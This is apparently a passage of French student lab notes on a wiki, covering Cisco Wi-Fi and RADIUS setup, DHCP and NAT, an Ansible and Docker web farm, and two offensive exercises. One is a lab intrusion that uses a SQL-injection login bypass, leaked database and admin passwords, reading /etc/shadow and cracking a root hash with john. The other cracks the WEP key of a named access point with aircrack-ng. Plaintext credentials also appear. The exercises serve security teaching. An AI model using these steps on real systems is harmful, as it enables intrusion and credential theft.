 !&lt;br /&gt;
 ...&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
  encryption vlan 101 mode ciphers aes-ccm tkip&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ...&lt;br /&gt;
 interface BVI1&lt;br /&gt;
 ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 !&lt;br /&gt;
 radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key 7 09414A191B0A051C0E1B0D2C22&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10.60.100.10 : adresse IP fixe du point d'accès&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Commandes et verifications /&lt;br /&gt;
 ap(config)#interface BVI1&lt;br /&gt;
 ap(config-if)# ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 ap(config-if)#exit&lt;br /&gt;
 ap#write&lt;br /&gt;
 PING ROUTEUR 1 POUR VERIFIER LA CONNEXION&lt;br /&gt;
 ap#ping 10.60.100.2 &lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.2, timeout is 2 seconds:&lt;br /&gt;
 .!!!!&lt;br /&gt;
 Success rate is 80 percent (4/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
test second routeur : ne fonctionne pas car pas d'addresse ip&lt;br /&gt;
 ap#ping 10.60.100.1&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.1, timeout is 2 seconds:&lt;br /&gt;
 .....&lt;br /&gt;
 Success rate is 0 percent (0/5)&lt;br /&gt;
&lt;br /&gt;
Configurer l'adresse par defaut:&lt;br /&gt;
&lt;br /&gt;
 ap(config)#ip route 0.0.0.0 0.0.0.0 10.60.100.2&lt;br /&gt;
 ap(config)#exit&lt;br /&gt;
 ap#sh ip route&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Test ping notre machine virtuelle girolle : &lt;br /&gt;
 ap#ping 193.48.57.182&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 193.48.57.182, timeout is 2 seconds:&lt;br /&gt;
 !!!!!&lt;br /&gt;
 Success rate is 100 percent (5/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
===Sécurisation===&lt;br /&gt;
&lt;br /&gt;
On a refait la configuration avec groupe7 pour s'aligner sur les autres groupes.&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# aaa authentication login eap_group7 group radius_group7&lt;br /&gt;
 wifi-ima5sc(config)# radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key secret_group7&lt;br /&gt;
 wifi-ima5sc(config)# aaa group server radius radius_group7&lt;br /&gt;
 wifi-ima5sc(config-server)# server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 wifi-ima5sc(config)# dot11 ssid SSID_GROUP7&lt;br /&gt;
 wifi-ima5sc(config-radius)# mbssid guest-mode&lt;br /&gt;
 wifi-ima5sc(config-radius)# vlan 307&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication open eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication network-eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Dot11Radio0&lt;br /&gt;
 wifi-ima5sc(config-if)# encryption vlan 307 mode ciphers aes-ccm tkip&lt;br /&gt;
 wifi-ima5sc(config-if)# mbssid&lt;br /&gt;
 wifi-ima5sc(config)# ssid SSID_GROUP7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config-subif)# int dot11radio0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Gi0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
===FreeRadius===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/users&lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/client.conf&lt;br /&gt;
&lt;br /&gt;
 client girolle_wifi {&lt;br /&gt;
     ipaddr = 10.60.100.10&lt;br /&gt;
     secret = secret_group7&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Finalement on lance la commande freeradius -X&lt;br /&gt;
&lt;br /&gt;
===DHCP et mascarade===&lt;br /&gt;
&lt;br /&gt;
On doit implanter une fonction de serveur DHCP sur les deux routeurs.&lt;br /&gt;
&lt;br /&gt;
Pour le 6509E :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#default-router 10.60.107.1&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.99&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.150 10.60.107.255&lt;br /&gt;
 IMA5sc-R1(config)#exit&lt;br /&gt;
 IMA5sc-R1#sh ip dhcp binding&lt;br /&gt;
 IMA5sc-R1#ping 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Le ping fonctionne.&lt;br /&gt;
&lt;br /&gt;
Pour le C9200 :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#default-router 10.60.107.2&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.49&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.100 10.60.107.255&lt;br /&gt;
 IMA5sc-R2(config)#exit&lt;br /&gt;
 IMA5sc-R2#sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade (vlan131 -&amp;gt; vlan pour se connecter au routeur):&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 307&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat inside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 131&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat outside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# access-list 107 permit ip 10.60.107.0 0.0.0.255 any&lt;br /&gt;
 IMA5sc-R1(config)# ip nat inside source list 107 interface vlan 131 overload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du vlan sur les routeurs&lt;br /&gt;
 vlan 307&lt;br /&gt;
&lt;br /&gt;
==Configuration WLC==&lt;br /&gt;
&lt;br /&gt;
Utilisation de bornes Cisco 2802i&lt;br /&gt;
&lt;br /&gt;
Connection via minicom -os (9600 bauds)&lt;br /&gt;
&lt;br /&gt;
 enable &lt;br /&gt;
 capwap ap ip &amp;lt;ip&amp;gt; &amp;lt;netmask&amp;gt; &amp;lt;gateway&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Intrusion honey.plil.info ==&lt;br /&gt;
&lt;br /&gt;
pour avoir les identifiants de l'admin : ID = ' OR '1'='1 et MDP = ' OR '1'='1&lt;br /&gt;
&lt;br /&gt;
Admin : admin	jesuislechef	admin	Administrateur&lt;br /&gt;
&lt;br /&gt;
Creer le fichier  etc/phpmyadmin/config-db.php&lt;br /&gt;
en allant dans l'onglet: .... on telecharge le fichier qu'on a crée : &lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 ##&lt;br /&gt;
 ## database access settings in php format&lt;br /&gt;
 ## automatically generated from /etc/dbconfig-common/phpmyadmin.conf&lt;br /&gt;
 ## by /usr/sbin/dbconfig-generate-include&lt;br /&gt;
 ##&lt;br /&gt;
 ## by default this file is managed via ucf, so you shouldn't have to&lt;br /&gt;
 ## worry about manual changes being silently discarded.  *however*,&lt;br /&gt;
 ## you'll probably also want to edit the configuration file mentioned&lt;br /&gt;
 ## above too.&lt;br /&gt;
 ##&lt;br /&gt;
 $dbuser='phpmyadmin';&lt;br /&gt;
 $dbpass='gencovid19';&lt;br /&gt;
 $basepath='';&lt;br /&gt;
 $dbname='phpmyadmin';&lt;br /&gt;
 $dbserver='localhost';&lt;br /&gt;
 $dbport='3306';&lt;br /&gt;
 $dbtype='mysql';&lt;br /&gt;
&lt;br /&gt;
on reccupere user et mdp pour acceder a la page http://honey.plil.info/phpmyadmin/ &lt;br /&gt;
connexion id : root&lt;br /&gt;
mdp: gencovid19&lt;br /&gt;
&lt;br /&gt;
une fois connecter on recherche les identifiants des utilisateurs ssh :&lt;br /&gt;
id = rex &lt;br /&gt;
mdp: &lt;br /&gt;
&lt;br /&gt;
connexion ssh : ssh rex@honey.plil.info&lt;br /&gt;
 /etc/shadow pour trouver la cle de cryptage du mdp root &lt;br /&gt;
 copier la cle et la mettre dans un fichier (exemple :temp): root:$6$yCvXnJp4SOQwQaxV$vRYUr1fwU1SAPxZ0NbdIw/03ypGXjjRjZKRfX3sa7T2v9XnbI4xG.EyEtcrtASLlvqxuh9Hr6TrOB5Szopd6m/:18525:0:99999:7:::&lt;br /&gt;
 installation de john &lt;br /&gt;
 john nom du fichier&lt;br /&gt;
&lt;br /&gt;
pour aller plus rapidement creer un dictionnaire a partir des indices donnés  : motif doublé 'le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets'&lt;br /&gt;
utiliseer crunch?&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On utilise le paquet aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
La commande&lt;br /&gt;
 airmon-ng&lt;br /&gt;
permet de voir le nom du réseau sans fil: wlan0mon&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
On scanne les réseaux :&lt;br /&gt;
 airodump-ng --encrypte wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisi un réseau parmi ceux disponibles. Par exemple la cracotte08 est sur le canal 7 et a pour BSSID 04:DA:D2:9C:50:57.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On lance avec la commande :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --write testwep --channel 7 --bssid 04:DA:D2:9C:50:57 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -z testwep-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs web==&lt;br /&gt;
&lt;br /&gt;
===Architecture générale de la ferme===&lt;br /&gt;
&lt;br /&gt;
On travaille avec deux machines virtuelles, l'une sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (celle mise en place en PRA), l'autre sur le serveur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On ferme la machine virtuelle sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (commande &amp;lt;code&amp;gt;halt&amp;lt;/code&amp;gt;) pour modifier le fichier de configuration &amp;lt;code&amp;gt;girolle.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
On ajoute à la ligne vif &amp;lt;code&amp;gt;'mac=@MAC incrémenté de 1, bridge=bridgeStudents'&amp;lt;/code&amp;gt; avant de la relancer.&lt;br /&gt;
&lt;br /&gt;
'''Interfaces'''&lt;br /&gt;
&lt;br /&gt;
On associe l'adresse IP &amp;lt;code&amp;gt;192.186.42.21&amp;lt;/code&amp;gt; à la VM sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;. Pour cela on l'ajoute dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 auto eth1&lt;br /&gt;
 iface eth1 inet static&lt;br /&gt;
   address 192.168.42.21 &lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;, on ajoute une interface dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
   address 192.168.42.7&lt;br /&gt;
   netmask 255.255.255.0 &lt;br /&gt;
   gateway 192.168.42.21&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le ping entre leux deux machine se fait.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mascarade'''&lt;br /&gt;
&lt;br /&gt;
On met en place une mascarade pour que la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; ait accès à internet :&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.42.7/32&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.42.7/32&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.7/32 --to-source 193.48.57.182&lt;br /&gt;
 iptables-save&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
'''Mise en place d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Installation d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; sur la VM de &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
Création des clés avec la commande &amp;lt;code&amp;gt;ssh-keygen -t rsa&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On ajoute la clé public sur toutes les machines de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; :&lt;br /&gt;
 cat id_rsa.pub | ssh root@192.168.42.7 'cat &amp;gt;&amp;gt; .ssh/authorized_keys2'&lt;br /&gt;
&lt;br /&gt;
Installation de Python sur la VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; (Attention à installer uniquement python3 et ne pas avoir de versions antérieurs pour éviter les conflits de version).&lt;br /&gt;
 apt install python3&lt;br /&gt;
 ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
&lt;br /&gt;
L'utilitaire &amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; permet d'organiser le projet en plusieurs parties. Les manipulations se font majoritairement sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Inventaire'''&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, on crée un inventaire dans &amp;lt;code&amp;gt;/etc/ansible/hosts&amp;lt;/code&amp;gt;. en séparant notre serveur seul des autres (dont le notre).&lt;br /&gt;
 [self]&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
 [webinterne]&lt;br /&gt;
 192.168.42.2&lt;br /&gt;
 192.168.42.4&lt;br /&gt;
 192.168.42.5&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
 192.168.42.9&lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
'''Playbook et roles'''&lt;br /&gt;
&lt;br /&gt;
On va créer plusieurs rôles qui seront lancés via un playbook (&amp;lt;code&amp;gt;/root/playbooks/&amp;lt;/code&amp;gt;). Chaque rôle à son propre sous-répertoire (&amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;basic&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;files&amp;lt;/code&amp;gt; qui contient la configuration mymotd_conf et ntp.conf&lt;br /&gt;
** mymotd_conf : On met ce que l'on veut afficher dedans&lt;br /&gt;
** ntp.conf : Fichier récupéré auquel on ajoute le serveur NTP et les IP&lt;br /&gt;
 # You do need to talk to an NTP server or two (or three).&lt;br /&gt;
 #server ntp.your-provider.example&lt;br /&gt;
 server ntp.plil.info&lt;br /&gt;
 ...&lt;br /&gt;
 # Local users may interrogate the ntp server more closely.&lt;br /&gt;
 restrict 127.0.0.1&lt;br /&gt;
 restrict ::1&lt;br /&gt;
 restrict 192.168.42.21&lt;br /&gt;
 restrict 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : gestion packages&lt;br /&gt;
   apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{{ packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
     packages:&lt;br /&gt;
      - python3&lt;br /&gt;
      - python3-pip&lt;br /&gt;
      - ntpdate&lt;br /&gt;
      - ntp&lt;br /&gt;
 &lt;br /&gt;
 - name : gestion packages pip&lt;br /&gt;
   pip:&lt;br /&gt;
      name:&lt;br /&gt;
         - docker&lt;br /&gt;
 - name: lien symbolique&lt;br /&gt;
   command: ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
 &lt;br /&gt;
 - name: motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/mymotd_conf&lt;br /&gt;
      dest: /etc/motd&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644' &lt;br /&gt;
&lt;br /&gt;
 - name: config ntp&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/ntp.conf&lt;br /&gt;
      dest: /etc/ntp.conf&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
Ce rôle permet de configurer le motd et le NTP. Il permet également d'installer les packages nécessaires.&lt;br /&gt;
&lt;br /&gt;
===Installation de &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
On installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; par l'intermédiaire du playbook sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;. Pour cela on utilise un rôle déjà créé par &amp;lt;code&amp;gt;geerlingguy&amp;lt;/code&amp;gt;. Les variables docker_&amp;lt;code&amp;gt;apt_gpg_key&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;docker_apt_repository&amp;lt;/code&amp;gt; permettent que le rôle se comporte comme si la VM est sous debian version buster.&lt;br /&gt;
&lt;br /&gt;
'''Playbook &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot; &lt;br /&gt;
&lt;br /&gt;
===Création du conteneur===&lt;br /&gt;
&lt;br /&gt;
On met en place un conteneur qui contient notre site web et démarre apache2 sur le port 80.&lt;br /&gt;
En premier lieu on installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec &amp;lt;code&amp;gt;wget -qO - get.docker.com | sh&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Dockerfile'''&lt;br /&gt;
&lt;br /&gt;
Il faut ensuite réaliser un &amp;lt;code&amp;gt;dockerfile&amp;lt;/code&amp;gt; toujours sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; :&lt;br /&gt;
 FROM httpd:latest&lt;br /&gt;
 MAINTAINER NourClara&lt;br /&gt;
 COPY ./index.html /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [ &amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot; ]&lt;br /&gt;
Le fichier &amp;lt;code&amp;gt;index.html&amp;lt;/code&amp;gt; dans lequel se trouve le contenu du site web doit se trouver dans le même répertoire que le &amp;lt;code&amp;gt;dockerfile&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Construction et lancement de l'image docker'''&lt;br /&gt;
&lt;br /&gt;
 docker build -t webserver .&lt;br /&gt;
On aurait pu mettre girolle au lieu de webserver par exemple.&lt;br /&gt;
 docker run -d webserver&lt;br /&gt;
&lt;br /&gt;
On vérifie que l'image est construite et lancée correctement avec les commandes &amp;lt;code&amp;gt;docker images&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;docker ps -a&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Dépôt docker local''' &lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;, on installe un dépôt local qui accueillera notre image docker.&lt;br /&gt;
 docker run -d -p 5000:5000 --restart always --name registry registry:2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;registry&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
'''Autorisation d'un dépôt non sécurisé'''&lt;br /&gt;
&lt;br /&gt;
Par défaut, la connexion se fait en HTTPS. Comme ici les différents dépôts ne sont pas sécurisés, on doit autoriser la connexion en HTTP. Pour cela, on ajoute un fichier deamon.json sur nos deux machines dans &amp;lt;code&amp;gt;/etc/docker/&amp;lt;/code&amp;gt; :&lt;br /&gt;
 {&lt;br /&gt;
   &amp;quot;insecure-registries&amp;quot; : [&amp;quot;192.168.42.2:5000&amp;quot;, &amp;quot;192.168.42.4:5000&amp;quot;, &amp;quot;192.168.42.5:5000&amp;quot;, &amp;quot;192.168.42.7:5000&amp;quot;, &amp;quot;192.168.42.9:5000&amp;quot;, &amp;quot;192.168.42.12:5000&amp;quot;]&lt;br /&gt;
 }&lt;br /&gt;
Puis &amp;lt;code&amp;gt;service docker restart&amp;lt;/code&amp;gt; pour que le changement soit pris en compte.&lt;br /&gt;
&lt;br /&gt;
'''Exportation depuis &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; vers la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
 docker tag webserver 192.168.42.7:5000/webserver&lt;br /&gt;
 docker push 192.168.42.7:5000/webserver&lt;br /&gt;
&lt;br /&gt;
'''Récupération de l'image docker dans &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
 docker pull 192.168.42.7:5000/webserver&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs internes===&lt;br /&gt;
&lt;br /&gt;
Pour déployer notre conteneur web automatiquement sur toutes les VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; on crée un nouveau rôle. On utilise le port qui nous est alloué : le 8087.&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;deployer&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; contenant un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : deployer sur les VMs&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: site&lt;br /&gt;
           image: 192.168.42.7:5000/webserver&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;8087:80&amp;quot;  &lt;br /&gt;
&amp;lt;code&amp;gt;image&amp;lt;/code&amp;gt; : là où se trouve notre serveur web à déployer (sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Ensuite dans le playbook on crée une seconde partie avec pour hôte &amp;lt;code&amp;gt;webinterne&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
'''Playbook complet &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot;    &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 - name: Deploiement&lt;br /&gt;
   hosts: webinterne&lt;br /&gt;
   roles:&lt;br /&gt;
      - deployer&lt;br /&gt;
&lt;br /&gt;
Dans notre VM sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; on peut alors lancer le playbook (après que le push et le pull aient été fait sans erreur).&lt;br /&gt;
 ansible-playbook first_play.yml&lt;br /&gt;
&lt;br /&gt;
Notre conteneur web s'est déployé correctement sur les VM des groupes 4 et 5. Les autres Vm n'ont pas tous les packages nécessaires (docker ou docker-py) ou ne sont pas joignables.&lt;br /&gt;
&lt;br /&gt;
===Équilibreur de charge (load balancer)===&lt;br /&gt;
&lt;br /&gt;
On met en place un second serveur Web qui se comporte comme un serveur mandataire inverse (reverse proxy) et comme un équilibreur de charge (load balancer).&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; dans &amp;lt;code&amp;gt;/etc/bind/db.girolle.site &amp;lt;/code&amp;gt; on ajoute un deuxième CNAME :&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns1.girolle.site. postmaster.girolle.site. (&lt;br /&gt;
	 		      6		; Serial&lt;br /&gt;
		 	 604800		; Refresh&lt;br /&gt;
			  86400		; Retry&lt;br /&gt;
			2419200		; Expire&lt;br /&gt;
			 604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182 &lt;br /&gt;
 @	IN	MX	100 ns1.girolle.site.&lt;br /&gt;
 &lt;br /&gt;
 www	IN	CNAME	ns1&lt;br /&gt;
 reverse	IN	CNAME	www&lt;br /&gt;
 &lt;br /&gt;
 $include /etc/bind/girolle_dnssec/girolle.site-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/girolle.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans &amp;lt;code&amp;gt;/etc/apache2/sites-available&amp;lt;/code&amp;gt; on crée un nouveau fichier de configuration &amp;lt;code&amp;gt;reverse.conf/code&amp;gt; pour le second serveur web.&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  ServerName reverse.girolle.site&lt;br /&gt;
  ServerAdmin webmaster@localhost&lt;br /&gt;
  &amp;lt;Proxy &amp;quot;balancer://myloadbalance&amp;quot;&amp;gt;&lt;br /&gt;
	  BalancerMember &amp;quot;http://192.168.42.2:8087&amp;quot; route=1&lt;br /&gt;
	  BalancerMember &amp;quot;http://192.168.42.4:8087&amp;quot; route=2&lt;br /&gt;
	  BalancerMember &amp;quot;http://192.168.42.5:8087&amp;quot; route=3&lt;br /&gt;
          BalancerMember &amp;quot;http://192.168.42.7:8087&amp;quot; route=4&lt;br /&gt;
	  BalancerMember &amp;quot;http://192.168.42.9:8087&amp;quot; route=5&lt;br /&gt;
